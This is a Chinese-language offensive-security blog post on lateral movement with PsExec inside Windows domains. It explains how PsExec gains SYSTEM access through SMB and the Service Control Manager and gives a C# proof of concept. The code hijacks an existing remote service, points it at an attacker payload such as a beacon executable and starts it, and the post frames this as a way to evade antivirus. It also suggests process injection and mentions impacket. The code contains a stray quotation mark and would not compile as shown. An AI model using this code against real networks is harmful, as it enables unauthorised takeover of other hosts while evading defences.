Skip to main content

PsExec

 

当我们在企业网络中获得了具有权限的帐号之后,我们可以进一步扩大攻击领域,通过横向移动,获得对其他主机的控制权。横向移动,不仅仅是一种移动方式,更是我们在域内提权过程中的收获。横向移动的方式有诸多,其中 PsExec 是最知名的一种。

PsExec 是微软 Sysinternals suite 中的一部分 (https://learn.microsoft.com/en-us/sysinternals/downloads/psexec),通过向目标主机的 SMB 服务认证,以 SYSTEM 权限获得对目标主机的远程访问。PsExec 通过访问 SCM (服务控制管理器),在目标主机上拷贝一个服务二进制文件,创建一个新的服务并且执行,最终获得交互式访问。因此,如果我们拿下了一个用户,该用户对其他主机具有本地管理员特权,那么我们可以通过 psexec 横向移动到目标主机上。也就是前提条件有二,目标主机开启445端口,用户对目标主机具有本地管理员特权。

image.png

PsExec.exe 是 Sysinternals suite 中的工具,并且因为是微软签名的,并不会被 AV 所拦截。除此之外,诸多 C2 框架也自带了 psexec 横向移动的特性,例如 Meterpreter, CobaltStrike 等,但由于这些 C2 框架生成的服务二进制文件的特征与一般 agent 相似,因此十分容易被 AV 捕捉。在了解了 psexec 的工作原理后,我们可以实现自定义的 psexec 载荷。PoC 如下:

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace movement
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
        static void Main(string[] args)
        {
            String target = args[1];
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
            string ServiceName = args[2]";
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
            string payload = args[3];
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
            bResult = StartService(schService, 0, null);
        }
    }
}

该代码接受的第一个参数为目标主机名,例如 srv01,第二个参数为服务名,例如 SensorService,第三个参数为要执行的二进制文件地址,例如 C:\windows\tasks\beacon.exe。我们来分析该代码,先是通过 SCM API 向 SMB 进行认证,在认证完成之后,打开一个现有的服务,为了确保总是成功,我们尽可能选择一个会出现在所有操作系统和所有版本上的服务,例如 SensorService。之后,修改该服务的配置,即服务二进制文件的地址。最后,启动该服务。但是,我们需要注意,服务所对应的二进制文件应当是服务二进制文件,因此如果我们指向了普通的 exe 文件,那么该程序会很快退出。因此,我们可以通过给载荷文件添加进程注入等操作,以避免短时间内退出的情况。

我们还可以使用 impacket 来实现 psexec的横向移动。根据输出信息,我们可以得知原理跟我们上述所讲的是一样的。

image.png